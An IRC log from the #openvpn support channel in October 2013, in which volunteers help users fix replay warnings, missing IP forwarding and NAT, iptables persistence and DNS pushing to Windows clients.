13:42 <+pekster> If --no-replay also fixes your issue when the link is under load, either consider increasing the replay protection window/time, or just leave the protection off completely
13:43 <+pekster> It's not really crucial to kill it all if your link is stable for >60 seconds; my point was to refute your claim that the --ping keepalives aren't sent (looks like they indeed are)
13:44 <@ecrist> !diagram
13:44 <@vpnHelper> "diagram" is You can use a site such as http://gliffy.com to create a network diagram as well as programs such as Visio, Dia, or OmniGraffle
13:44 < qwertyoruiop> okay, added no-replay to the client config, restarting openvpn
13:46 < qwertyoruiop> no-replay did nothing, but there seems to be a client issue involved
13:46 < qwertyoruiop> as in; client initiates a new connection even while it's still connected fine
13:46 < qwertyoruiop> probably a bug in tunnelblick(?)
13:47 < qwertyoruiop> wtf, i have 4 tun interfaces on my client
13:47 < qwertyoruiop> never seen this happen before
13:47 <+pekster> Could be; try invoking openvpn from your terminal on the config and see if anything changes
13:48 <+pekster> tunnelblick has some 'auto-restart' feature that you can tweak with the plist prefs; its online docs should have details
13:51 < qwertyoruiop> RFri Oct  4 20:47:45 2013 us=blah blah/blah:62885 Authenticate/Decrypt packet error: bad packet ID (may be a replay)
13:51 < qwertyoruiop> this with no-replay in the config
13:52 <+pekster> You on wifi? Duplicate packet delivery is sometimes a common false-warning (see --mute-replay-warnings if it turns out to be harmless and you want to "ignore" them)
13:52 < qwertyoruiop> okay, works fine when launching via terminal. and no, i'm not on wifi
13:52 < qwertyoruiop> this seems to be a tunnelblick bug; i'll just run openvpn myself
13:52 < qwertyoruiop> thank you for the support! openvpn is great :)
13:53 <+pekster> Sure, if it works fine from the terminal you'd want to find out what the frontend is doing differently and report bugs to the tunnelblick folks; fwiw they have great docs and a very flexible configuration system too
13:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:56 < qwertyoruiop> pekster: i'll try to track down the issue, but i don't have much time atm. i'll see what i can do :)
13:59 -!- [spathi] [~spathi@109.64.120.218] has quit [Ping timeout: 240 seconds]
14:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
14:06 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
14:07 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
14:27 -!- Denial [Denial@05417302.skybroadband.com] has quit []
14:33 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
14:41 -!- mattock_afk is now known as mattock
14:59 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 248 seconds]
14:59 -!- mattock is now known as mattock_afk
15:05 -!- Devastator_ [~devas@177.18.196.158] has joined #openvpn
15:05 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
15:14 -!- Devastator_ [~devas@177.18.196.158] has quit [Changing host]
15:14 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
15:14 -!- Devastator_ is now known as Devastator
15:37 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
15:40 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
15:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:46 -!- averagecase [~anon@dslb-094-221-214-205.pools.arcor-ip.net] has joined #openvpn
15:48 -!- RB2 [~rb2@c-68-37-9-119.hsd1.nj.comcast.net] has quit [Read error: Connection reset by peer]
15:49 -!- RB2 [~rb2@c-68-37-9-119.hsd1.nj.comcast.net] has joined #openvpn
15:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:54 < Bretos`> night!
15:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:00 -!- cmur2 [~quassel@cl-4849.cgn-01.de.sixxs.net] has joined #openvpn
16:00 < cmur2> !welcome
16:00 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:00 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:05 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
16:09 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
16:13 -!- nlopez_ [~quassel@198.211.102.196] has joined #openvpn
16:14 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Connection reset by peer]
16:16 -!- nlopez_ [~quassel@198.211.102.196] has quit [Remote host closed the connection]
16:16 -!- mulcahey [~TNEB@172.15.22.189] has joined #openvpn
16:17 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
16:19 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: No route to host]
16:20 -!- nebulta [~TNEB@nyx.feralhosting.com] has quit [Ping timeout: 245 seconds]
16:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:29 -!- mulcahey [~TNEB@172.15.22.189] has quit [Read error: Connection reset by peer]
16:41 -!- RB2 [~rb2@c-68-37-9-119.hsd1.nj.comcast.net] has quit []
16:53 -!- elfixit [~Icedove@82.197.169.38] has joined #openvpn
17:34 -!- elfixit [~Icedove@82.197.169.38] has quit [Ping timeout: 260 seconds]
17:45 -!- averagecase [~anon@dslb-094-221-214-205.pools.arcor-ip.net] has quit [Quit: Verlassend]
17:52 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:26 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 260 seconds]
18:29 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
18:30 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 256 seconds]
18:44 -!- heraclitus [~halcyon@77.74.193.82] has joined #openvpn
18:44 -!- heraclitus [~halcyon@77.74.193.82] has quit [Changing host]
18:44 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
18:55 -!- atmosx [~me@gateway/tor-sasl/atmosx] has joined #openvpn
19:06 -!- MattJ1000 [~matthew@109.176.201.179] has quit [Ping timeout: 264 seconds]
19:18 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
19:19 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 248 seconds]
19:55 < heraclitus> waht's the post effective way to interface postgresql with openvpn for auth-user-pass?
19:55 <+pekster> heraclitus: "most effective"? Probably the API you're most familiar with that can talk to postgresql..
19:58 <+pekster> OpenVPN can use any executable that hooks into openvpn via --auth-user-pass-verify so the issue is more the language you'd like to use to deal with the backend. This said, openvpn ships a PAM plugin that you can use if you can make PAM talk to your SQL backend
19:58 <+pekster> For all it matters write it in LISP ;)
19:59 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
20:00 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:01 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:01 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:03 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
20:14 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
20:23 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:50 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 260 seconds]
21:01 -!- heraclitus [~halcyon@46.165.251.167] has joined #openvpn
21:01 -!- heraclitus [~halcyon@46.165.251.167] has quit [Changing host]
21:01 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
21:16 -!- elfixit [~Icedove@82.197.169.38] has joined #openvpn
21:25 -!- Mr^Mo|2 [~kvirc@port-92-192-31-190.dynamic.qsc.de] has joined #openvpn
21:29 -!- Mr^Mo [~kvirc@port-92-192-109-33.dynamic.qsc.de] has quit [Ping timeout: 264 seconds]
21:36 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
21:58 -!- EugeneKay is now known as Eugennerz
22:01 -!- Zarathu [~zarathu@li370-254.members.linode.com] has joined #openvpn
22:02 < Zarathu> Hi, running into a really simple issue. I have a remote VPN server that I normally use for gaming. I connect to it from a Linux laptop. Though, for some reason, it just stopped working randomly. I suspect it's because of a DHCP address change on my local LAN. I'm now getting these errors in the logs: "bad source from client: (192.168.1.138)"
22:02 < Zarathu> Any way to fix this?
22:04 <+pekster> Zarathu: You're not using 192.168.1/24 on the remote end are you?
22:04 < Zarathu> Here's the client.conf: http://pastie.org/8379012
22:04 < Zarathu> pekster: I am not.
22:05 <+pekster> This said, that error message generally means that the client is incorrectly sourcing packets from its LAN side addapter and incorrectly sending them down the VPN interface
22:05 <+pekster> This works about as well as pretending you are 203.0.113.6 and sending to your ISP
22:05 <+pekster> You should fix your stupid client application that is attempting to send bogus packets down the wire
22:05 < Zarathu> http://pastie.org/8379014
22:05 < Zarathu> That's the server.conf ^
22:06 <+pekster> (for future reference, remove comments and blanks from pastes)
22:06 < Zarathu> pekster: The stupid client application at this point is "ping 4.2.2.1" on the command line.
22:06 < Zarathu> Will do. Sorry.
22:06 < Zarathu> Thing is, 192.168.1.138 *is* the correct source, isn't it?
22:07 <+pekster> Just a sec (I'm ripping out all the crap from your configs before I can offer useful advice)
22:07 < Zarathu> ;<
22:07 <+pekster> Keep this handy if you have 'grep' at your disposal:
22:07 <+pekster> !configs
22:07 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
22:08 < Zarathu> Ah, neat.
22:08 < Zarathu> Thanks.
22:09 < Zarathu> pekster: I should be able to have my router assign me a new IP address via DHCP without having to reconfigure the VPN, right?
22:09 <+pekster> Using tap?
22:10 < Zarathu> I'm using tun
22:10 <+pekster> tun doesn't use "dhcp" no
22:10 <+pekster> tun requires strict assignment from the server in P2MP mode (the one exception is if you're running a p2p setup, which you're not
22:11 <+pekster> There's no dhcp involved what-so-ever, although Windows clients tend to fake it
22:11 < Zarathu> Gotcha.
22:11 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
22:12 < Zarathu> I've been looking through the config, trying to figure out why it would just randomly stop working. :\
22:12 <+pekster> So yea, after removing all the comments/whitespace from your configs, there's no reason for the client to source from that address; that's an OS/app issue and you need to find out _what_ is behaving badly and sending data from bogus IPs
22:12 <+pekster> That's very much wrong
22:12 <+pekster> Windows has a bad habbit of doing that, main becuase it's a crappy OS
22:13 <+pekster> s/n /nly /
22:13 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Read error: Operation timed out]
22:13 <+pekster> (fwiw, I never could get IPX routing to work right when I played IPX-based games and tried to use OpenVPN+tap. Windows is just a shitty platform)
22:14 < Zarathu> pekster: I should perhaps mention: I'm able to ping 10.8.0.1, as well as the other external IP address; but anything outside of that local bridge doesn't get reached.
22:14 < Zarathu> pekster: Windows is not involved in this at all. The client is a Linux laptop.
22:15 <+pekster> Then that's extra bad. Why on earth is your client sourcing from 192.168.1.138?!!
22:15 <+pekster> That's an error on your server logs, yes?
22:15 < Zarathu> Yes.
22:16 < Zarathu> The client should be sourcing from 10.8.0.4, right? (or whatever)
22:16 <+pekster> Right
22:17 <+pekster> That warning on the server means that the tun interface on the server "magically" received a very bogus packet pretending to be "from" 192.168.1.138 (which is presumably your client's physical NIC address)
22:17 <+pekster> This works about as well as pretending your home router is from the white house, or the UK parlament, or something equally silly
22:17 < Zarathu> Yeah...
22:17 <+pekster> OpenVPN rightfully says "bullshit" and drops the spoofed IP
22:17 < Zarathu> Would it help to see my startup logs on the client?
22:18 < Zarathu> The /sbin/route commands and so on...
22:18 <+pekster> Not really; some application is doing the nastyness of sending the data, unless you've _really_ screwed up your routing tables intentionally
22:18 <+pekster> _Usually_ it's windows being brain-dead, but I've heard of various poorly coded *nix software doing dumb stuff too
22:19 <+pekster> Best thing you can do on the spoofed IP side is fire up tcpdump on the Linux client and see what app is doing that
22:19 <+pekster> This said, that's generally safe to ignore unless you want to fix it
22:19 <+pekster> What else is actually broken?
22:19 < Zarathu> pekster: http://pastie.org/pastes/8379028/text
22:20 < Zarathu> pekster: The entire VPN has completely stopped working. The only thing I can do is ping 10.8.0.1
22:20 <+pekster> fwiw, `route` is effectively deprecated. On Linux, get used to `ip route show`
22:20 < Zarathu> Okay. :>
22:20 <+pekster> Future reading: http://inai.de/2008/0219-ifconfig-sucks.php
22:20 <@vpnHelper> Title: j.eng's site: News, Notes, Quips, Tweets, Things to share. (at inai.de)
22:21 <+pekster> Okay, in your server.conf, you ought to use the `def1` flag to --redirect-gateway
22:21 < Zarathu> Should I put that in the config?
22:21 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
22:21 <+pekster> You'll end up with goofy issues where your DHCP LAN (the physical one) on the client side fights with the server for control of the gateway. Probably not your issue here yet, but read the manpage on --redirect-gateway for the details why
22:21 < Zarathu> push "redirect-gateway def1"
22:21 <+pekster> Yea
22:22 < Zarathu> Okay
22:22 <+pekster> that just overrides the default gateway with two x /1 routes
22:22 <+pekster> (thus DHCP renewals don't mess with your routing)
22:22 < Zarathu> Did you see my routing table post-openvpn startup?
22:22 <+pekster> Otherwise everything seems fine, minus your "IP spoofing" problem as you report from your server logs
22:22 <+pekster> Yup
22:23 < Zarathu> Huh. So it's just... not working.
22:23 <+pekster> "What" isn't?
22:23 < Zarathu> If I pull up a console, type "ping 4.2.2.1", it fails. I get nothing.
22:23 <@ecrist> nat?
22:23 < Zarathu> "ping 10.8.0.1" works great.
22:23 <@ecrist> ip_forwarding?
22:23 <+pekster> routing over the redirected connection? Try the def1 stuff first (requires a restart on both ends)
22:23 <+pekster> !ipforwars
22:23 <+pekster> !ipforward
22:23 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
22:23 < Zarathu> pekster: I did. def1 didn't fix it.
22:23 < MorgyN> IPoBullets
22:23 <+pekster> Well, better yet, start here:
22:23 <+pekster> !redirect
22:23 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:23 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
22:24 < Zarathu> !linipforward
22:24 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
22:24 < Zarathu> ooo
22:25 <@ecrist> certainly sounds like ip forwarding is missing
22:25 <+pekster> forwarding, fireawlls, and NAT all need to be configured properly in addition to OpenVPN (as with any routing)
22:26 < Zarathu> YAY
22:26 < Zarathu> It works!! :D
22:27 < Zarathu> ecrist: Spot on. IP forwarding was missing. I must have used the temp solution, and it probably stopped forwarding when/if I rebooted the server.
22:27 <@ecrist> often the case
22:27 <@ecrist> it's very common when someone claims openvpn "suddenly" stopped working after a reboot, after months of working fine
22:28 <@ecrist> really, openvpn was fine, it was the kernel that changed what it was doing
22:28 < Zarathu> Does Windows usually have DNS problems over VPN?
22:28 < Zarathu> I feel like I remember reading about this somewhere...
22:34 <+pekster> Zarathu: See:
22:34 <+pekster> !pushdns
22:34 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
22:34 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
22:36 <+pekster> And yes, Windows is (as aforementioned) quite brain-dead. It tracks DNS servers "per-interface" and has silly notions of a "global search address" space and doesn't always like to update DNS servers. A number of years  back through testing I noted that it takes anywhere from "zero to fifteen" minutes to actually _use_ pushed DNS servers, though tricks like --register-dns hack around it. In my testing, that "--register-dns" nonsense ...
22:36 <+pekster> ... is _not_ required, but merely setting any attribute on the tap interface "tricks" the OS into updating the global DNS/suffix lists
22:36 <+pekster> YMMV
22:36 <+pekster> While Linux/Unix solutions do have their own problems, at least they're transparant about what they do..
22:38 <+pekster> A couple jobs back I wrote a client-side Windows script that did nothing more than "disable" (even if it was already disabled) the DNS registration on the TAP interface (that corp didn't use it) and it "magically" updated the global DNS search suffix to the pushed DNS domain. Windows is a foul OS.
22:39  * pekster posted to openvpn-users a small write-up, but it went ignored in favor of the fools who liked 'ipconfig /registerdns' instead ;)
22:40 <+pekster> "In the land of Redmond, the blind man with 1 leg and 1 arm is, in fact, king" :P
23:36 < Zarathu> pekster: It was my fault :>
23:36 < Zarathu> Thanks everyone!
23:36 -!- Zarathu [~zarathu@li370-254.members.linode.com] has left #openvpn []
23:37 <+pekster> Thank goodness: I was worried it was _my_ fault :P
--- Day changed Sat Oct 05 2013
00:12 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
00:16 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:42 < sailerboy> hey, I was wondering, on my openvpn setup, I can ping the local subnet, but not the internet (i don't have internet access), but the vpn server is able to access the internet just fine
00:42 < sailerboy> it worked until today, and now it's not working
00:42 < sailerboy> i didn't change anything as far as i know
00:46 <+pekster> Are we expected to infer from your poor description of your needs that you want Internet access? How are you connected to the openvpn peer in your "openvpn setup" if you "don't have Internet access" ??
00:46 <+pekster> Maybe you want:
00:46 <+pekster> !redirect
00:47 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:47 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
00:47 < sailerboy> pekster, actually, what had happened was somehow iptables got misconfigured and reset
00:47 < sailerboy> so i had to resetup the masquerading
00:48 <+pekster> I still have no clue what you're doing; if you "don't have Internet access" then I assume this is all on a LAN?
00:48 < sailerboy> um
00:48 < sailerboy> i don't have internet access through the vpn
00:48 < sailerboy> but i do while not through the vpn
00:48 < sailerboy> but it's all fixed now
00:48 < sailerboy> i thought that part was clearer, my apoligies
00:49 < sailerboy> reading that over, i probaly should have made it more clear
00:49 <+pekster> Wonderful. Try to be more descriptive next time since not everyong uses openvpn for "Intenet access" (most corporate uses focus on connecting to private resources over a secure link)
00:49 <+pekster> Right
00:49 <+pekster> I kind of figured that was what you meant, but do try not to assume everyone is using a software package the same way you are
00:49 < sailerboy> the internet i have is relitively restricted and much of it is filtered
00:49 < sailerboy> right, sorry about that
00:50 < sailerboy> how can i save the IPTABLES so that this doesn't happen again?
00:50 < sailerboy> i thought that they saved automagically
00:50 < sailerboy> but apparently, they don't
00:50 <+pekster> That's more a questino for your distro; most sane OSes provide an initscript to do it
00:50 < sailerboy> i'm on debian
00:50 < sailerboy> it should *just work* i suppose
00:50 <+pekster> And no, nothing is "magic" about it -- even the distro stuff is just a glorified initscript around `iptables-restore` similar to the BSD's using frontends to pfctl
00:51 <+pekster> No, Debian is worse than most Linuxes in that their devs are too busy having pissing matches to agree on how to do distro-init of netfilter rulesl
00:51 <+pekster> I have a custom script I hook into the if-up scripts that I can link you to for my solutuion
00:51 <+pekster> https://github.com/QueuingKoala/distro-scripts/blob/master/ubuntu/netfilter/05-iptables
00:51 <@vpnHelper> Title: distro-scripts/ubuntu/netfilter/05-iptables at master · QueuingKoala/distro-scripts · GitHub (at github.com)
00:52 <+pekster> Direct follow-up for learning about deiban to either #debian or #ubuntu, and netfilter ("iptables") specifics are in #netfilter
00:52 < sailerboy> hmm, interesting, my uni doesn't seem to like github right now...
00:52 < sailerboy> that's a problem, since most of my work is stored on github
00:53 < sailerboy> well, thanks, i'll take a look when the DNS decides to resolve github.com
00:53 <+pekster> Same thing on paste.kde.org: http://pastebin.kde.org/pmq3vzflx/fx2lzx
00:53 < sailerboy> ok, that works, i appreciate it
00:53 < sailerboy> i'll set that up then
00:54 <+pekster> Note that the rules files are in iptables-save(8) syntax; again, #netfilter can help if you can't figure it out from the manpages
00:54 <+pekster> They've got helpful references in their /TOPIC too
00:55 < sailerboy> i'm idling there too, i think i had a question before
00:55 < sailerboy> so i'll check the topic out
01:19 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
01:35 -!- atmosx [~me@gateway/tor-sasl/atmosx] has quit [Ping timeout: 240 seconds]
01:36 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
01:36 -!- atmosx [~me@gateway/tor-sasl/atmosx] has joined #openvpn
01:57 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
01:58 -!- xrosnight [~quassel@61.144.205.61] has quit [Changing host]
01:58 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
02:13 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
02:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:52 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
02:56 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
03:04 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
03:06 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Quit: No Ping reply in 180 seconds.]
03:06 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
03:08 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
03:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:15 -!- Roklobsta [~Roklobsta@ppp118-209-60-64.lns20.mel4.internode.on.net] has joined #openvpn
03:35 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:35 -!- xTz is now known as Guest62144
03:36 < Roklobsta> any openvpn windows geniouses?
03:36 < Roklobsta> i am getting the good ol' Sat Oct 05 15:55:43 2013 Initialization Sequence Completed With Errors ( see htt
03:36 < Roklobsta> p://openvpn.net/faq.html#dhcpclientserv )
03:38 < Roklobsta> i don't want to blindly hack in the registry change as per teh FAQ.
03:39 -!- warren [~warren@fedora/wombat/warren] has joined #openvpn
03:39 < warren> anyone using NetworkManager-openvpn?
03:42 < Roklobsta> my setup is a PC with 2 p2p open VPN connections.  the first one works, the 2nd barfs with the above cutandpaste
03:46 -!- warren [~warren@fedora/wombat/warren] has left #openvpn ["Leaving"]
03:50 -!- warren [~warren@fedora/wombat/warren] has joined #openvpn
03:51 < warren> http://openvpn.net/index.php/open-source/documentation/howto.html  I'm following the directions here to "push" an entire LAN subnet to clients, which works.  It then says "Next, you must set up a route on the server-side LAN gateway to route the VPN client subnet (10.8.0.0/24) to the OpenVPN server (this is only necessary if the OpenVPN server and the LAN gateway are different machines)."
03:51 <@vpnHelper> Title: HOWTO (at openvpn.net)
03:51 < warren> It isn't clear how to do that though
03:51 < warren> especially in a way that persists
03:56 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
03:56 -!- xrosnight [~quassel@61.144.205.61] has quit [Changing host]
03:56 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
04:05 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
04:18 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
04:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:22 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
04:24 < warren> found the answer ... only iptables!
04:24 -!- warren [~warren@fedora/wombat/warren] has left #openvpn ["Leaving"]
04:26 < Roklobsta> any openvpn windows geniouses?
04:34 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
04:38 -!- xdarklight [~darklight@unaffiliated/xdarklight] has left #openvpn ["Konversation terminated!"]
04:45 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
05:10 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
05:44 -!- mattock_afk is now known as mattock
05:51 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:52 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
06:12 -!- elfixit [~Icedove@82.197.169.38] has quit [Ping timeout: 240 seconds]
06:22 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
06:24 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
06:25 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
06:34 -!- iplux [~iplux@192-140.105-92.cust.bluewin.ch] has joined #openvpn
06:34 -!- iplux [~iplux@192-140.105-92.cust.bluewin.ch] has quit [Client Quit]
06:34 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:50 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:51 -!- Guest62144 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
06:52 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
07:00 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
07:01 -!- MattJ1000 [~matthew@109.176.201.179] has joined #openvpn
07:14 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
07:14 -!- mode/#openvpn [+v s7r] by ChanServ
07:40 -!- mattock is now known as mattock_afk
07:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
07:46 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
07:57 -!- master_of_master [~master_of@p4FF24608.dip0.t-ipconnect.de] has joined #openvpn
08:01 -!- master_o1_master [~master_of@p4FD7BFC5.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
08:09 < Roklobsta> hallo i am in windows tap hell
08:09 -!- Poster|w [poster@shell.bshellz.net] has quit [Remote host closed the connection]
08:09 < Roklobsta> from what i can tell taps don't get completey removed from the system and are messing with openvpn working properly\
08:13 -!- mattock_afk is now known as mattock
08:13 < Roklobsta> i can install one new tap which works fine with openvpn and also this tap uninstalls without issue.  2nd tap installed doesn't work properly and locks up in the device manager when i manually unonstall it
08:16 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 245 seconds]
08:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:45 < Roklobsta> ok, 3 taps installed, disabled the 1st tap and #2 and #3 work.  WTF
08:56 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: Konversation terminated!]
08:59 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
09:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:17 -!- mattock is now known as mattock_afk
09:34 -!- elfixit [~Icedove@78-236.197-178.cust.bluewin.ch] has joined #openvpn
09:35 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 245 seconds]
10:12 -!- elfixit [~Icedove@78-236.197-178.cust.bluewin.ch] has quit [Ping timeout: 264 seconds]
10:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:37 -!- Roklobsta [~Roklobsta@ppp118-209-60-64.lns20.mel4.internode.on.net] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
10:45 <+s7r> has DH elliptic curve been implemented in OpenVPN ?
10:45 <+s7r> curiosity
10:48 <+pekster> No, not at this time. There's no support for ECC DH params today
10:50 <+pekster> Starting with the git-master commit 4b67f98 (not yet in an official release) TLSv1.2 just became a negotiation option for the TLS channel, so that's obviously a requirement to implementing any ECC TLS
10:50 <+pekster> The code would need to support the right openssl calls to do ECC in addition, of course
10:57 <+pekster> Actually, it appears my information was somewhat incorrect; if the SSL library used supports ECC, that's independent of TLSv1.2
11:12 <+s7r> word goes online that it's no good
11:12 <+s7r> ECC DH i mean
